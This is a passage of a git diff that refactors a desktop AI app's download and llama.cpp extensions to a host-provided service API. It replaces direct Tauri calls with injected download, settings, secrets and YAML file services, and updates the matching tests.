expect(log.error).toHaveBeenCalled()})})describe('pauseDownload', () => {- it('invokes pause_download_task with the taskId', async () => {- mockInvoke.mockResolvedValueOnce(undefined)- await manager.pauseDownload('task-9')- expect(mockInvoke).toHaveBeenCalledWith('pause_download_task', {- taskId: 'task-9',- })+ it('pauses the task through the host download API', async () => {+ const { service, downloads } = await activated()+ await service.pauseDownload('task-12')+ expect(downloads.pauseDownload).toHaveBeenCalledWith('task-12')})it('logs and rethrows on failure', async () => {- const err = new Error('pause failed')- mockInvoke.mockRejectedValueOnce(err)- await expect(manager.pauseDownload('task-9')).rejects.toThrow(+ const { service, downloads, log } = await activated()+ downloads.pauseDownload.mockRejectedValueOnce(new Error('pause failed'))+ await expect(service.pauseDownload('task-12')).rejects.toThrow('pause failed')- expect(mockLoggerError).toHaveBeenCalled()- })- })-- describe('onUnload', () => {- it('resolves without error', async () => {- await expect(manager.onUnload()).resolves.toBeUndefined()+ expect(log.error).toHaveBeenCalled()})})})+diff --git a/extensions/download-extension/src/index.ts b/extensions/download-extension/src/index.tsindex 6655b9c75..594231a33 100644--- a/extensions/download-extension/src/index.ts+++ b/extensions/download-extension/src/index.ts@@ -1,106 +1,80 @@-import { invoke } from '@tauri-apps/api/core'-import { listen } from '@tauri-apps/api/event'-import { BaseExtension, events, logger } from '@janhq/core'+import {+ HUGGINGFACE_TOKEN_SECRET_KEY,+ ServiceKeys,+ type DownloadItem,+ type DownloadService,+ type InternalExtensionContext,+} from '@janhq/core'-export enum Settings {- hfToken = 'hf-token',-}--interface DownloadItem {- url: string- save_path: string- proxy?: Record<string, string | string[] | boolean>- sha256?: string- size?: number- model_id?: string-}+// Where the pre-host extension kept its settings (the hf-token copy). The+// token now comes from the keyring, so the copy has nothing to carry over.+const LEGACY_SETTINGS_KEY = '@janhq/download-extension'-type DownloadEvent = {- transferred: number- total: number+export async function activate(ctx: InternalExtensionContext): Promise<void> {+ localStorage.removeItem(LEGACY_SETTINGS_KEY)+ ctx.subscriptions.add(+ ctx.internal.services.provide(ServiceKeys.Downloads, createDownloads(ctx))+ )}-export default class DownloadManager extends BaseExtension {- hfToken?: string-- async onLoad() {- this.registerSettings(SETTINGS)- this.hfToken = await this.getSetting<string>(Settings.hfToken, undefined)- }-- async onUnload() {}-- async downloadFile(- url: string,- savePath: string,- taskId: string,- proxyConfig: Record<string, string | string[] | boolean> = {},- onProgress?: (transferred: number, total: number) => void- ) {- return await this.downloadFiles(- [{ url, save_path: savePath, proxy: proxyConfig }],- taskId,- onProgress- )- }+function createDownloads(ctx: InternalExtensionContext): DownloadService {+ const { downloads, secrets } = ctx.internal- onSettingUpdate<T>(key: string, value: T): void {- if (key === Settings.hfToken) {- this.hfToken = value as string- }+ // Read per download rather than cached at activation: the token can change+ // in Settings at any time and the keyring is the only copy. An unreadable+ // keyring must not block public downloads, so it degrades to no token.+ const headers = async (): Promise<Record<string, string>> => {+ const token = await secrets+ .get(HUGGINGFACE_TOKEN_SECRET_KEY)+ .catch((error: unknown) => {+ ctx.log.warn('Could not read the Hugging Face token:', error)+ return null+ })+ return token ? { Authorization: `Bearer ${token}` } : {}}- async downloadFiles(+ const downloadFiles = async (items: DownloadItem[],taskId: string,onProgress?: (transferred: number, total: number) => void- ) {- // relay tauri events to onProgress callback- const unlisten = await listen<DownloadEvent>(- `download-${taskId}`,- (event) => {- if (onProgress) {- let payload = event.payload- onProgress(payload.transferred, payload.total)- }- }+ ): Promise<void> => {+ const unsubscribe = await downloads.onDownloadProgress(+ taskId,+ (progress) => onProgress?.(progress.transferred, progress.total))-try {- await invoke<void>('download_files', {- items,- taskId,- headers: this._getHeaders(),- })+ await downloads.downloadFiles(items, taskId, await headers())} catch (error) {- logger.error('Error downloading task', taskId, error)+ ctx.log.error('Error downloading task', taskId, error)throw error} finally {- unlisten()+ unsubscribe()}}- async cancelDownload(taskId: string) {- try {- await invoke<void>('cancel_download_task', { taskId })- } catch (error) {- logger.error('Error cancelling download:', error)- throw error- }- }-- async pauseDownload(taskId: string) {- try {- await invoke<void>('pause_download_task', { taskId })- } catch (error) {- logger.error('Error pausing download:', error)- throw error- }- }-- _getHeaders() {- return {- ...(this.hfToken && { Authorization: `Bearer ${this.hfToken}` }),- }+ return {+ downloadFiles,+ downloadFile: (url, savePath, taskId, proxyConfig = {}, onProgress) =>+ downloadFiles(+ [{ url, save_path: savePath, proxy: proxyConfig }],+ taskId,+ onProgress+ ),+ cancelDownload: async (taskId) => {+ try {+ await downloads.cancelDownload(taskId)+ } catch (error) {+ ctx.log.error('Error cancelling download:', error)+ throw error+ }+ },+ pauseDownload: async (taskId) => {+ try {+ await downloads.pauseDownload(taskId)+ } catch (error) {+ ctx.log.error('Error pausing download:', error)+ throw error+ }+ },}}diff --git a/extensions/download-extension/src/test/setup.ts b/extensions/download-extension/src/test/setup.tsdeleted file mode 100644index e42c41fb2..000000000--- a/extensions/download-extension/src/test/setup.ts+++ /dev/null@@ -1,37 +0,0 @@-import { vi } from 'vitest'--// SETTINGS is injected by the bundler at build time; source references it as a global.-Object.defineProperty(globalThis, 'SETTINGS', {- value: [],- writable: true,-})--vi.mock('@tauri-apps/api/core', () => ({- invoke: vi.fn(),-}))--vi.mock('@tauri-apps/api/event', () => ({- listen: vi.fn().mockResolvedValue(() => undefined),- emit: vi.fn(),-}))--vi.mock('@janhq/core', () => {- class BaseExtension {- registerSettings = vi.fn()- getSetting = vi.fn().mockResolvedValue(undefined)- }- return {- BaseExtension,- logger: {- debug: vi.fn(),- info: vi.fn(),- warn: vi.fn(),- error: vi.fn(),- },- events: {- emit: vi.fn(),- on: vi.fn(),- off: vi.fn(),- },- }-})diff --git a/extensions/download-extension/vitest.config.ts b/extensions/download-extension/vitest.config.tsindex 8571c5924..2fc41f019 100644--- a/extensions/download-extension/vitest.config.ts+++ b/extensions/download-extension/vitest.config.ts@@ -4,6 +4,5 @@ export default defineConfig({test: {globals: true,environment: 'jsdom',- setupFiles: ['./src/test/setup.ts'],},})diff --git a/extensions/llamacpp-extension/package.json b/extensions/llamacpp-extension/package.jsonindex b57e08245..52d5ec7a5 100644--- a/extensions/llamacpp-extension/package.json+++ b/extensions/llamacpp-extension/package.json@@ -4,19 +4,27 @@"version": "1.0.1","description": "This extension enables llama.cpp chat completion API calls","main": "dist/index.js",- "module": "dist/module.js",+ "jan": {+ "id": "jan.llamacpp",+ "displayName": "llama.cpp Inference Engine",+ "description": "This extension enables llama.cpp chat completion API calls",+ "publisher": "Jan",+ "apiVersion": "^1.0.0",+ "main": "dist/index.js",+ "permissions": []+ },"engine": "llama.cpp","author": "Jan <[email protected]>","license": "Apache-2.0","scripts": {"build": "rolldown -c rolldown.config.mjs",- "build:publish": "rimraf *.tgz --glob || true && yarn build && npm pack && cpx *.tgz ../../pre-install","test": "vitest","test:ui": "vitest --ui","test:run": "vitest run","test:coverage": "vitest run --coverage"},"devDependencies": {+ "@tauri-apps/api": "2.8.0","@vitest/ui": "3.2.7","cpx": "1.5.0","jsdom": "26.1.0",@@ -29,9 +37,6 @@"@janhq/core": "workspace:*","@janhq/tauri-plugin-hardware-api": "link:../../src-tauri/plugins/tauri-plugin-hardware","@janhq/tauri-plugin-llamacpp-api": "link:../../src-tauri/plugins/tauri-plugin-llamacpp",- "@tauri-apps/api": "2.8.0",- "@tauri-apps/plugin-http": "2.5.9",- "fetch-retry": "^5.0.6","ulidx": "2.4.1"},"engines": {@@ -41,9 +46,6 @@"dist/*","package.json"],- "bundleDependencies": [- "fetch-retry"- ],"installConfig": {"hoistingLimits": "workspaces"},diff --git a/extensions/llamacpp-extension/rolldown.config.mjs b/extensions/llamacpp-extension/rolldown.config.mjsindex 80b1c2f28..86b6798d7 100644--- a/extensions/llamacpp-extension/rolldown.config.mjs+++ b/extensions/llamacpp-extension/rolldown.config.mjs@@ -17,7 +17,4 @@ export default defineConfig({IS_MAC: JSON.stringify(process.platform === 'darwin'),IS_LINUX: JSON.stringify(process.platform === 'linux'),},- inject: process.env.IS_DEV ? {} : {- fetch: ['@tauri-apps/plugin-http', 'fetch'],- },})diff --git a/extensions/llamacpp-extension/src/backend-settings.ts b/extensions/llamacpp-extension/src/backend-settings.tsindex eed70b4cd..f7f68eb9b 100644--- a/extensions/llamacpp-extension/src/backend-settings.ts+++ b/extensions/llamacpp-extension/src/backend-settings.ts@@ -1,17 +1,16 @@-import { invoke } from '@tauri-apps/api/core'-import { logger } from '@janhq/core'+import { appSettings, logger } from '@janhq/core'/*** Read/write persisted settings through the Rust settings store- * (`settings_get`/`settings_set`/`settings_remove` -> `settings.json`), the- * same backend the web-app's Zustand stores use (see+ * (`appSettings` -> `settings_get`/`settings_set`/`settings_remove` ->+ * `settings.json`), the same backend the web-app's Zustand stores use (see* web-app/src/lib/backendStorage.ts). This is the ONLY sanctioned way for the* extension to persist state; raw `localStorage` is reserved for one-time* migration reads of pre-backend data.*/export async function getBackendSetting(key: string): Promise<string | null> {try {- return (await invoke<string | null>('settings_get', { key })) ?? null+ return await appSettings.get(key)} catch (error) {logger.warn(`settings_get failed for '${key}':`, error)return null@@ -23,7 +22,7 @@ export async function setBackendSetting(value: string): Promise<void> {try {- await invoke('settings_set', { key, value })+ await appSettings.set(key, value)} catch (error) {logger.warn(`settings_set failed for '${key}':`, error)}@@ -31,7 +30,7 @@ export async function setBackendSetting(export async function removeBackendSetting(key: string): Promise<void> {try {- await invoke('settings_remove', { key })+ await appSettings.remove(key)} catch (error) {logger.warn(`settings_remove failed for '${key}':`, error)}diff --git a/extensions/llamacpp-extension/src/index.ts b/extensions/llamacpp-extension/src/index.tsindex e87d9eb9c..763efcff1 100644--- a/extensions/llamacpp-extension/src/index.ts+++ b/extensions/llamacpp-extension/src/index.ts@@ -1,8 +1,6 @@/**- * @file This file exports a class that implements the InferenceExtension interface from the @janhq/core package.- * The class provides methods for initializing and stopping a model, and for making inference requests.- * It also subscribes to events emitted by the @janhq/core package and handles new message requests.- * @version 1.0.0+ * @file The llama.cpp built-in: `activate(ctx)` registers the in-process+ * engine with the host's engine manager and provides `ServiceKeys.Llamacpp`.* @module llamacpp-extension/src/index*/@@ -23,6 +21,12 @@ import {events,AppEvent,DownloadEvent,+ ServiceKeys,+ type DownloadService,+ type InternalExtensionContext,+ type LlamacppService,+ type LoopbackFetch,+ type ServiceRegistry,chatCompletionRequestMessage,SettingComponentProps,DropdownComponentProps,@@ -36,8 +40,6 @@ import {import { applyPlatformFitDefault } from './fit-default'import { findModelEntries } from './model-tree'-import { listen } from '@tauri-apps/api/event'-import { invoke } from '@tauri-apps/api/core'import {getProxyConfig,buildEmbedBatches,@@ -49,9 +51,9 @@ import {detectTemplateKwargsFromChatTemplate,getDefaultEmbeddingModelId,setDefaultEmbeddingModelId,+ fileName,type EmbedBatchResult,} from './util'-import { loopbackFetch } from './loopback-fetch'import {generatePreset,threadCacheDir,@@ -71,7 +73,6 @@ import {setBackendSetting,removeBackendSetting,} from './backend-settings'-import { basename } from '@tauri-apps/api/path'import {asI32,loadLlamaModel,@@ -163,12 +164,6 @@ const PRESET_AFFECTING_KEYS = new Set<string>([])-/**- * A class that implements the InferenceExtension interface from the @janhq/core package.- * The class provides methods for initializing and stopping a model, and for making inference requests.- * It also subscribes to events emitted by the @janhq/core package and handles new message requests.- */-type YamlSettingValue = string | number | boolean | nulltype PersistedProviderSetting = {@@ -383,48 +378,6 @@ async function readPersistedLlamacppModels(): Promise<PersistedModelState[]> {}}-/**- * Breadth-first search of `rootDir` for the directory directly containing- * a file named `serverName`. Returns the absolute path of that directory,- * or null if not found. Used by manual backend install to tolerate- * different archive layouts (Jan-built `build/bin/...` vs upstream- * llama.cpp's flat `llama-bXXXX/...`).- */-async function findLlamaServerDir(- rootDir: string,- serverName: string-): Promise<string | null> {- // Note: fs.readdirSync returns absolute child paths (see- // src-tauri/src/core/filesystem/commands.rs::readdir_sync), not basenames.- const queue: string[] = [rootDir]- while (queue.length > 0) {- const current = queue.shift() as string- let entries: string[]- try {- entries = await fs.readdirSync(current)- } catch {- continue- }- for (const entryPath of entries) {- let stat- try {- stat = await fs.fileStat(entryPath)- } catch {- continue- }- if (!stat) continue- const entryName = await basename(entryPath)- if (!stat.isDirectory && entryName === serverName) {- return current- }- if (stat.isDirectory) {- queue.push(entryPath)- }- }- }- return null-}-// Folder structure for llamacpp extension:// <Jan's data folder>/llamacpp// - models/<modelId>/@@ -439,6 +392,35 @@ async function findLlamaServerDir(// - lib/// - e.g. libcudart.so.12+// The package name: what the settings entries carry as their owner, and the+// key the settings lived under in webview storage before the file store.+const PACKAGE_NAME = '@janhq/llamacpp-extension'++/**+ * Runs the engine on the extension host: registers it with the engine+ * manager and publishes the runtime queries the app makes of it.+ */+export async function activate(ctx: InternalExtensionContext): Promise<void> {+ const engine = new llamacpp_extension(+ ctx.internal.services,+ ctx.internal.loopbackFetch+ )+ ctx.subscriptions.add(ctx.internal.engines.register(engine))+ ctx.subscriptions.add({ dispose: () => engine.dispose() })+ const service: LlamacppService = {+ getModelProps: (modelId) => engine.getModelProps(modelId),+ unload: (modelId) => engine.unload(modelId),+ getDevices: () => engine.getDevices(),+ reconcileEngineDevices: () => engine.reconcileEngineDevices(),+ }+ ctx.subscriptions.add(ctx.internal.services.provide(ServiceKeys.Llamacpp, service))+ // As under the old extension manager, a failed startup is logged and the+ // engine stays registered, so the provider and its models remain listed.+ await engine.start().catch((error: unknown) =>+ ctx.log.error('Engine startup failed:', error)+ )+}+export default class llamacpp_extension extends AIEngine implements EmbeddingEngine {provider: string = 'llamacpp'timeout: number = 600@@ -462,7 +444,6 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng*/private embedderBootstrapping = falseprivate loadingModels = new Map<string, Promise<SessionInfo>>() // Track loading promises- private unlistenValidationStarted?: () => voidprivate enginePort?: numberprivate engineApiKey?: string@@ -485,9 +466,16 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng/** Single-flight provisioning run; see ensureProvisioned(). */private provisioning?: Promise<void>- override async onLoad(): Promise<void> {- super.onLoad() // Calls registerEngine() from AIEngine+ constructor(+ private readonly services: Pick<ServiceRegistry, 'get'>,+ // Requests to the engine on loopback go through the host's proxy-bypassing+ // client; see LoopbackFetch.+ private readonly loopbackFetch: LoopbackFetch+ ) {+ super()+ }+ async start(): Promise<void> {await this.migrateLocalStorageToFile()// The engine is bundled at a pinned version, so there is no backend or@@ -530,14 +518,6 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng// After the backfill, which is what copied the seed into model.yml.await this.migrateSeededCtxSize()- // Set up validation event listeners to bridge Tauri events to frontend- this.unlistenValidationStarted = await listen<{- modelId: string- downloadType: string- }>('onModelValidationStarted', (event) => {- events.emit(DownloadEvent.onModelValidationStarted, event.payload)- })-// Deferred off onLoad so the UI unblocks; performLoad awaits it via// ensureEngineReady(). The engine is bundled with the app now, so there is// no backend catalog fetch and no hundreds-of-megabytes download to ask@@ -821,11 +801,11 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng}}- override async registerSettings(+ private async registerSettings(settings: SettingComponentProps[]): Promise<void> {settings.forEach((s) => {- s.extensionName = this.name+ s.extensionName = PACKAGE_NAME})const old = await readSettingsFile()if (old.length) {@@ -856,10 +836,9 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng// no-localstorage.test.ts via the `localstorage-migration-allowed` markers.private async migrateLocalStorageToFile(): Promise<void> {if (await settingsFileExists()) return- if (!this.name) returnlet raw: string | null = nulltry {- raw = localStorage.getItem(this.name) // localstorage-migration-allowed+ raw = localStorage.getItem(PACKAGE_NAME) // localstorage-migration-allowed} catch {raw = null}@@ -877,7 +856,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngreturn}try {- localStorage.removeItem(this.name) // localstorage-migration-allowed+ localStorage.removeItem(PACKAGE_NAME) // localstorage-migration-allowed} catch (e) {logger.warn('Failed to clear migrated localStorage entry:', e)}@@ -1103,7 +1082,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng}try {const url = `http://127.0.0.1:${engine.port}/props?model=${encodeURIComponent(modelId)}`- const res = await loopbackFetch(url, {+ const res = await this.loopbackFetch(url, {headers: { Authorization: `Bearer ${engine.apiKey}` },})if (!res.ok) return undefined@@ -1238,9 +1217,8 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng])if (!(await fs.existsSync(configPath))) continue- const cfg = (await invoke<ModelConfig>('read_yaml', {- path: configPath,- })) as ModelConfig & Record<string, unknown>+ const cfg = (await fs.readYaml<ModelConfig>(configPath)) as ModelConfig &+ Record<string, unknown>let touched = false@@ -1275,7 +1253,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng}if (touched) {- await invoke<void>('write_yaml', { data: cfg, savePath: configPath })+ await fs.writeYaml(configPath, cfg)}}@@ -1355,20 +1333,13 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngreturn this.providerPath}- override async onUnload(): Promise<void> {- // Terminate all active sessions-- // Clean up validation event listeners- if (this.unlistenValidationStarted) {- this.unlistenValidationStarted()- }-+ dispose(): void {// Deliberately does NOT stop the engine worker. It outlives any single// extension instance: the app owns its lifetime and stops it on// ExitRequested/Exit. An extension teardown is not an app exit -- React- // StrictMode and HMR both unload and immediately reload us, and awaiting- // backgroundInit here (as this used to) meant blocking until the worker was- // up, then killing exactly the process it had just started.+ // StrictMode and HMR both deactivate and immediately reactivate us, and+ // awaiting backgroundInit here (as this used to) meant blocking until the+ // worker was up, then killing exactly the process it had just started.this.enginePort = undefinedthis.engineApiKey = undefined}@@ -1422,9 +1393,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngif (!(await fs.existsSync(path))) return undefined- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path,- })+ const modelConfig = await fs.readYaml<ModelConfig>(path)const isEmbedding = await this.resolveEmbeddingConfig(modelId, modelConfig)await this.resolveMtpLayersConfig(modelId, modelConfig)@@ -1447,9 +1416,9 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng}async getModelContextLimit(modelId: string): Promise<number | undefined> {- const config = await invoke<ModelConfig>('read_yaml', {- path: await joinPath([await this.getProviderPath(), 'models', modelId, 'model.yml']),- })+ const config = await fs.readYaml<ModelConfig>(+ await joinPath([await this.getProviderPath(), 'models', modelId, 'model.yml'])+ )const path = await joinPath([await getJanDataFolderPath(), config.model_path])const { metadata } = await readGgufMetadata(path)const limit = Number(metadata?.[`${metadata?.['general.architecture']}.context_length`])@@ -1514,10 +1483,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngif (!c.batch_size) c.batch_size = 2048}- await invoke<void>('write_yaml', {- data: cfg,- savePath: configPath,- })+ await fs.writeYaml(configPath, cfg)} catch (e) {logger.warn(`Failed to update config for ${modelId}`, e)}@@ -1571,10 +1537,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng])cfg.expert_count = expertCountcfg.expert_check_v = EXPERT_CHECK_VERSION- await invoke<void>('write_yaml', {- data: cfg,- savePath: configPath,- })+ await fs.writeYaml(configPath, cfg)} catch (e) {logger.warn(`Failed to persist expert count for ${modelId}`, e)}@@ -1622,10 +1585,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng])cfg.mtp_layers = mtpLayerscfg.mtp_check_v = MTP_CHECK_VERSION- await invoke<void>('write_yaml', {- data: cfg,- savePath: configPath,- })+ await fs.writeYaml(configPath, cfg)} catch (e) {logger.warn(`Failed to persist MTP layers for ${modelId}`, e)}@@ -1680,10 +1640,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng])cfg.template_kwargs = kwargscfg.template_kwargs_check_v = TEMPLATE_KWARGS_CHECK_VERSION- await invoke<void>('write_yaml', {- data: cfg,- savePath: configPath,- })+ await fs.writeYaml(configPath, cfg)} catch (e) {logger.warn(`Failed to persist template kwargs for ${modelId}`, e)}@@ -1715,7 +1672,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngfor (const modelId of modelIds) {try {const path = await joinPath([modelsDir, modelId, 'model.yml'])- const modelConfig = await invoke<ModelConfig>('read_yaml', { path })+ const modelConfig = await fs.readYaml<ModelConfig>(path)const isEmbedding = await this.resolveEmbeddingConfig(modelId,modelConfig@@ -1789,12 +1746,10 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng// check if model.yml existsconst modelConfigPath = childif (await fs.existsSync(modelConfigPath)) {- const legacyModelConfig = await invoke<{+ const legacyModelConfig = await fs.readYaml<{files: string[]model: string- }>('read_yaml', {- path: modelConfigPath,- })+ }>(modelConfigPath)const legacyModelPath = legacyModelConfig.files?.[0]if (!legacyModelPath) continue// +1 to remove the leading slash@@ -1804,7 +1759,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngmodelId =modelId !== 'imported'? modelId.replace(/^(cortex\.so|huggingface\.co)[\/\\]/, '')- : (await basename(child)).replace('.yml', '')+ : fileName(child).replace('.yml', '')const modelName = legacyModelConfig.model ?? modelIdconst configPath = await joinPath([@@ -1831,10 +1786,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngsize_bytes,} as ModelConfigawait fs.mkdir(await joinPath([janDataFolderPath, modelDir]))- await invoke<void>('write_yaml', {- data: modelConfig,- savePath: configPath,- })+ await fs.writeYaml(configPath, modelConfig)continue}}@@ -1878,9 +1830,9 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng'models',modelId,])- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: await joinPath([modelFolderPath, 'model.yml']),- })+ const modelConfig = await fs.readYaml<ModelConfig>(+ await joinPath([modelFolderPath, 'model.yml'])+ )const newFolderPath = await joinPath([await this.getProviderPath(),'models',@@ -1893,19 +1845,16 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngconst newModelConfigPath = await joinPath([newFolderPath, 'model.yml'])await fs.mv(modelFolderPath, newFolderPath).then(() =>// now replace what values have previous model name with format- invoke('write_yaml', {- data: {- ...modelConfig,- model_path: modelConfig?.model_path?.replace(- `${this.providerId}/models/${modelId}`,- `${this.providerId}/models/${model.id}`- ),- mmproj_path: modelConfig?.mmproj_path?.replace(- `${this.providerId}/models/${modelId}`,- `${this.providerId}/models/${model.id}`- ),- },- savePath: newModelConfigPath,+ fs.writeYaml(newModelConfigPath, {+ ...modelConfig,+ model_path: modelConfig?.model_path?.replace(+ `${this.providerId}/models/${modelId}`,+ `${this.providerId}/models/${model.id}`+ ),+ mmproj_path: modelConfig?.mmproj_path?.replace(+ `${this.providerId}/models/${modelId}`,+ `${this.providerId}/models/${model.id}`+ ),}))@@ -2027,10 +1976,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngdownloadType: 'Model',})}- const downloadManager = window.core.extensionManager.getByName(- '@janhq/download-extension'- )- await downloadManager.downloadFiles(+ await this.downloads().downloadFiles(downloadItems,this.createDownloadTaskId(modelId),onProgress@@ -2177,8 +2123,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng}if (!resolvedName) {- const base = opts.modelPath.split(/[\\/]/).pop() ?? modelId- resolvedName = base.replace(/\.gguf$/i, '') || modelId+ resolvedName = fileName(opts.modelPath).replace(/\.gguf$/i, '') || modelId}// TODO: add updateModelConfig() method@@ -2214,10 +2159,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng: {}),} as ModelConfigawait fs.mkdir(await joinPath([janDataFolderPath, modelDir]))- await invoke<void>('write_yaml', {- data: modelConfig,- savePath: configPath,- })+ await fs.writeYaml(configPath, modelConfig)events.emit(AppEvent.onModelImported, {modelId,modelPath,@@ -2269,12 +2211,8 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng// Cancel any active download task// prepend provider name to avoid name collisionconst taskId = this.createDownloadTaskId(modelId)- const downloadManager = window.core.extensionManager.getByName(- '@janhq/download-extension'- )-try {- await downloadManager.cancelDownload(taskId)+ await this.downloads().cancelDownload(taskId)} catch (cancelError) {logger.warn('Failed to cancel download task:', cancelError)}@@ -2285,11 +2223,8 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngoverride async pauseImport(modelId: string): Promise<void> {const taskId = this.createDownloadTaskId(modelId)- const downloadManager = window.core.extensionManager.getByName(- '@janhq/download-extension'- )// Pause keeps the partial .tmp for resume; the model folder is preserved.- await downloadManager.pauseDownload(taskId)+ await this.downloads().pauseDownload(taskId)}private async getRandomPort(): Promise<number> {@@ -2452,6 +2387,12 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng}}+ private downloads(): DownloadService {+ const service = this.services.get(ServiceKeys.Downloads)+ if (!service) throw new Error('Downloads service is not available')+ return service+ }+/*** The id becomes a Tauri event name (`download-<taskId>`), which cannot contain* a dot. Dots are replaced rather than truncated at: truncating collapsed every@@ -2488,7 +2429,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng)}}- const response = await loopbackFetch(url, {+ const response = await this.loopbackFetch(url, {method: 'POST',headers,body,@@ -2629,7 +2570,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngreturn this.handleStreamingResponse(url, headers, body, abortController)}// Handle non-streaming response- const response = await loopbackFetch(url, {+ const response = await this.loopbackFetch(url, {method: 'POST',headers,body,@@ -2694,9 +2635,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEng'model.yml',])- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: modelConfigPath,- })+ const modelConfig = await fs.readYaml<ModelConfig>(modelConfigPath)// If mmproj_path is not defined in YAML, return falseif (modelConfig.mmproj_path) {@@ -2734,7 +2673,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngif (!(await fs.existsSync(path))) {return { mtp_layers: 0, mtp: false }}- const cfg = (await invoke<ModelConfig>('read_yaml', { path })) as ModelConfig & {+ const cfg = (await fs.readYaml<ModelConfig>(path)) as ModelConfig & {mtp_layers?: numbermtp?: booleanspec_draft_n_max?: number@@ -2774,7 +2713,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngif (!(await fs.existsSync(configPath))) {throw new Error(`model.yml not found for ${modelId}`)}- const cfg = (await invoke<ModelConfig>('read_yaml', { path: configPath })) as ModelConfig & {+ const cfg = (await fs.readYaml<ModelConfig>(configPath)) as ModelConfig & {mtp?: booleanspec_draft_n_max?: numberspec_draft_n_min?: number@@ -2809,7 +2748,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngcfg.spec_draft_sampling = patch.spec_draft_sampling}- await invoke<void>('write_yaml', { data: cfg, savePath: configPath })+ await fs.writeYaml(configPath, cfg)try {await this.refreshEnginePreset()@@ -2840,9 +2779,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngif (!(await fs.existsSync(configPath))) {throw new Error(`model.yml not found for ${modelId}`)}- const cfg = (await invoke<ModelConfig>('read_yaml', {- path: configPath,- })) as ModelConfig & Record<string, unknown>+ const cfg = (await fs.readYaml<ModelConfig>(configPath)) as ModelConfig & Record<string, unknown>const previousConfig = { ...cfg }let touched = false@@ -2863,15 +2800,12 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngif (!touched) return- await invoke<void>('write_yaml', { data: cfg, savePath: configPath })+ await fs.writeYaml(configPath, cfg)try {await this.refreshEnginePreset()} catch (e) {- await invoke<void>('write_yaml', {- data: previousConfig,- savePath: configPath,- })+ await fs.writeYaml(configPath, previousConfig)throw e}}@@ -3133,7 +3067,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngconst sInfo = await this.ensureEmbeddingModelLoaded()const counts: number[] = []for (const text of texts) {- const res = await loopbackFetch(`http://localhost:${sInfo.port}/tokenize`, {+ const res = await this.loopbackFetch(`http://localhost:${sInfo.port}/tokenize`, {method: 'POST',headers: {'Content-Type': 'application/json',@@ -3200,7 +3134,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngmodel: session.model_id,encoding_format: 'float',})- const response = await loopbackFetch(baseUrl, {+ const response = await this.loopbackFetch(baseUrl, {method: 'POST',headers,body,@@ -3245,9 +3179,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngmodelId,'model.yml',])- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: modelConfigPath,- })+ const modelConfig = await fs.readYaml<ModelConfig>(modelConfigPath)// model option is required// NOTE: model_path and mmproj_path can be either relative to Jan's data folder or absolute pathconst modelPath = await joinPath([@@ -3338,9 +3270,7 @@ export default class llamacpp_extension extends AIEngine implements EmbeddingEngopts.model,'model.yml',])- const modelConfig = await invoke<ModelConfig>('read_yaml', {- path: modelConfigPath,- })+ const modelConfig = await fs.readYaml<ModelConfig>(modelConfigPath)if (modelConfig.mmproj_path) {const mmprojPath = await joinPath([janDataFolderPath,diff --git a/extensions/llamacpp-extension/src/loopback-fetch.ts b/extensions/llamacpp-extension/src/loopback-fetch.tsdeleted file mode 100644index da2276a2c..000000000--- a/extensions/llamacpp-extension/src/loopback-fetch.ts+++ /dev/null@@ -1,21 +0,0 @@-import { fetch as httpFetch } from '@tauri-apps/plugin-http'--/**- * Requests to Jan's own engine, sent so that no proxy can capture them.- *- * `@tauri-apps/plugin-http` sends from Rust's reqwest, which reads- * `HTTP(S)_PROXY` and the OS proxy setting and does not exempt loopback unless- * `NO_PROXY` names it. Naming any proxy turns reqwest's environment and system- * lookup off, and the no-proxy list covers every loopback host, so the- * placeholder address is never dialled: these requests always go direct.- *- * Same technique as `loopbackFetch` in `web-app/src/lib/model-factory.ts`; the- * extension is a separate bundle and cannot import from the web app. Only for- * the engine's loopback port, never for a remote provider.- */-export const LOOPBACK_DIRECT_PROXY = {- all: { url: 'http://127.0.0.1:9', noProxy: 'localhost,127.0.0.1,::1' },-}--export const loopbackFetch: typeof httpFetch = (input, init) =>- httpFetch(input, { ...init, proxy: LOOPBACK_DIRECT_PROXY })diff --git 